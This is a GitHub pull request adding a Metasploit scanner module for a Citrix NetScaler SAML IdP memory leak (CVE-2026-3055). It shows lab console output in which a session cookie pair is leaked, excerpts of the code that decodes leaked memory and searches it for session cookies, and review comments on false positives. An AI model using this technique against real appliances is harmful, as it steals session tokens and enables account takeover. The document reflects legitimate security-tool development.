Skip to content

Add auxiliary scanner module for Citrix NetScaler memory leak (CVE-2026-3055)#21204

Open
sfewer-r7 wants to merge 7 commits intorapid7:masterfrom
sfewer-r7:CVE-2026-3055
Open

Add auxiliary scanner module for Citrix NetScaler memory leak (CVE-2026-3055)#21204
sfewer-r7 wants to merge 7 commits intorapid7:masterfrom
sfewer-r7:CVE-2026-3055

Conversation

@sfewer-r7
Copy link
Copy Markdown
Contributor

Overview

This auxiliary module exploits CVE-2026-3055, an info leak in Citrix NetScaler (when configured as an SAML IdP). Similar to the other CitrixBleed vulns, we can leak memory and potentially discover session cookies.

This module is based upon the technical analysis published by watchTowr: https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/

Example

Targeting a vulnerable NS13.1: Build 59.19.nc instance which has been configured as a SAML IdP. An admin session
in the management interface was established separately, so we know that a valid session is available to leak.

msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > set RHOST 192.168.86.141
RHOST => 192.168.86.141
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > set RPORT 8443
RPORT => 8443
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > check
[*] 192.168.86.141:8443 - The target appears to be vulnerable. Response contains an NSC_TASS cookie.
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > run
[*] 192.168.86.141:8443   - The target is vulnerable. Leaked 2368104 bytes, but did not leak any session cookies.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > run
[*] 192.168.86.141:8443   - The target is vulnerable. Leaked 2358889 bytes, but did not leak any session cookies.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > run
[*] 192.168.86.141:8443   - The target is vulnerable. Leaked 2049100 bytes, but did not leak any session cookies.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) > run
[+] 192.168.86.141:8443   - Leaked cookie pair: SESSID=5e43a6c810ddfa663a481c29aa3d012c; NITRO_SK=6LBvaEmhxTaJH7GGCXy3TPhRzu16tvEBzNyMWg7%2BGa8%3D
[*] 192.168.86.141:8443   - The target is vulnerable. Leaked 1797954 bytes, and 1 unique session cookies pairs.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/citrix_netscaler_cve_2026_3055) >

@sfewer-r7 sfewer-r7 changed the title add in an aux scanner module for CVE-2026-3055 based on teh watchTowr… Add auxiliary scanner module for Citrix NetScaler memory leak (CVE-2026-3055) Mar 30, 2026
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new Metasploit auxiliary scanner module and accompanying documentation to detect/exploit Citrix NetScaler/ADC CVE-2026-3055 (SAML IdP configuration) by triggering a memory leak and extracting session cookies from the leaked data.

Changes:

  • Introduces auxiliary/scanner/http/citrix_netscaler_cve_2026_3055 scanner module to trigger the leak and search for SESSID/NITRO_SK and NSC_AAAC cookies.
  • Implements check logic and reporting for “appears vulnerable” vs. “safe/unknown” outcomes.
  • Adds user documentation with verification steps and example output.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 7 comments.

File Description
modules/auxiliary/scanner/http/citrix_netscaler_cve_2026_3055.rb New scanner module that triggers the overread, counts leaked bytes, and searches leaked memory for session cookies.
documentation/modules/auxiliary/scanner/http/citrix_netscaler_cve_2026_3055.md New module documentation with usage steps and scenario examples.

Comment on lines +63 to +71
return Exploit::CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 302

cookies = res.get_cookies

return Exploit::CheckCode::Safe('Response has no cookies') if cookies.empty?

return Exploit::CheckCode::Safe('Response has no NSC_TASS cookie') unless cookies.include? 'NSC_TASS='

Exploit::CheckCode::Appears('Response contains an NSC_TASS cookie.')
Copy link

Copilot AI Apr 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

check_host currently treats the target as vulnerable purely based on a 302 + presence of an NSC_TASS cookie. The module later notes that patched systems may still return NSC_TASS but not as base64; this check will likely produce false positives. Consider validating that the NSC_TASS value is plausibly base64/leaked data (e.g., round-trip base64 decode/encode or other lightweight validation) before returning CheckCode::Appears.

Copilot uses AI. Check for mistakes.
Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this Copilot suggestions is based of some misleading comments in the source, I reworked the comment to better reflect things: fc01284

Comment on lines +129 to +134
bytes = Rex::Text.decode_base64(v)

# A patched system will not return a base64 encoded NSC_TASS value, so if we can decode it, it's a strong
# indicator of a vulnerable system. Even if the memory we leak doesn't contain session cookies.
leaked_data_count += bytes.bytesize

Copy link

Copilot AI Apr 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rex::Text.decode_base64 does not inherently validate that the input is actually base64. If a patched appliance returns a non-base64 NSC_TASS value, this code may still “decode” to non-empty bytes and increment leaked_data_count, causing a false vulnerable result. Add explicit validation that the cookie value is valid base64 (or that the decoded data matches expected leaked-memory structure) before counting bytes / reporting vulnerability.

Copilot uses AI. Check for mistakes.
Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

commit 94aa523 should address this.

Comment on lines +140 to +155
bytes.scan(/SESSID=([0-9a-f]{32})/i).each do |match|
sessid_value = match.first

next if found_cookies.include?("SESSID=#{sessid_value}")

found_cookies.add("SESSID=#{sessid_value}")

nitro_sk_match = bytes.match(/NITRO_SK=([^\s;,]+)/i)

if nitro_sk_match
nitro_sk_value = nitro_sk_match[1]

print_good("#{peer} - Leaked cookie pair: SESSID=#{sessid_value}; NITRO_SK=#{nitro_sk_value}")
else
print_good("#{peer} - Leaked cookie: SESSID=#{sessid_value}")
end
Copy link

Copilot AI Apr 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

found_cookies de-duplicates solely on SESSID=<value>, so if the first leak contains only SESSID and a later leak contains the corresponding NITRO_SK, the later (more usable) cookie pair will never be reported. Consider tracking whether NITRO_SK has been observed for a given SESSID and emitting an updated pair when it becomes available.

Copilot uses AI. Check for mistakes.
Comment on lines +18 to +19
You can check if the target is vulnerable. THe leaked data is not inspected. Intended to identify
patched and vulnerable systems.
Copy link

Copilot AI Apr 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This section says check is intended to identify patched vs vulnerable systems, but the module’s check_host currently only looks for presence of an NSC_TASS cookie (not whether it contains leaked/base64 data). Either strengthen the check logic accordingly or adjust the documentation to clarify that check is only a heuristic and may return false positives.

Suggested change
You can check if the target is vulnerable. THe leaked data is not inspected. Intended to identify
patched and vulnerable systems.
You can run a heuristic check to see if the target appears vulnerable. The leaked data is not inspected
during this check; it currently only looks for the presence of an `NSC_TASS` cookie and may return false
positives when identifying patched versus vulnerable systems.

Copilot uses AI. Check for mistakes.
sfewer-r7 and others added 5 commits April 2, 2026 14:59
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
…ignore and report a verbose error if there is unepxected charachters in the value
…cookie values, so rework these comments to better reflect that (Copilot review sugesting fixes off the previous comments).
@sfewer-r7
Copy link
Copy Markdown
Contributor Author

To get a NetScaler appliance into a SAMP IdP configuration suitable for testing, I had Claude reconfigure an appliance and produce these setup steps. This will hopefully be useful for validating the module. (You will need to adjust the VIP based on your local network setup).

NetScaler_SAML_IdP_Configuration.md

end

def run_host(_target_host)
# We track the number of bytes we leak to report back to teh user and help determine if we triggered the vuln or not.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# We track the number of bytes we leak to report back to teh user and help determine if we triggered the vuln or not.
# We track the number of bytes we leak to report back to the user and help determine if we triggered the vuln or not.

end

# A vulnerable host will return 302, but may occasionally return a 200 error, we test for this and keep
# going if we see teh 200 error, otherwise we bail out early.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# going if we see teh 200 error, otherwise we bail out early.
# going if we see the 200 error, otherwise we bail out early.

next unless k == 'NSC_TASS'

# Validate an NSC_TASS cookie value is well-formed base64 before attempting to decode it.
unless v.match?(%r{\A[A-Za-z0-9+/]*={0,2}\z})
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
unless v.match?(%r{\A[A-Za-z0-9+/]*={0,2}\z})
unless v.match?(%r{\A[A-Za-z0-9+/]+={0,2}\z})

A valid base64 string contains at least a non-= char

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

5 participants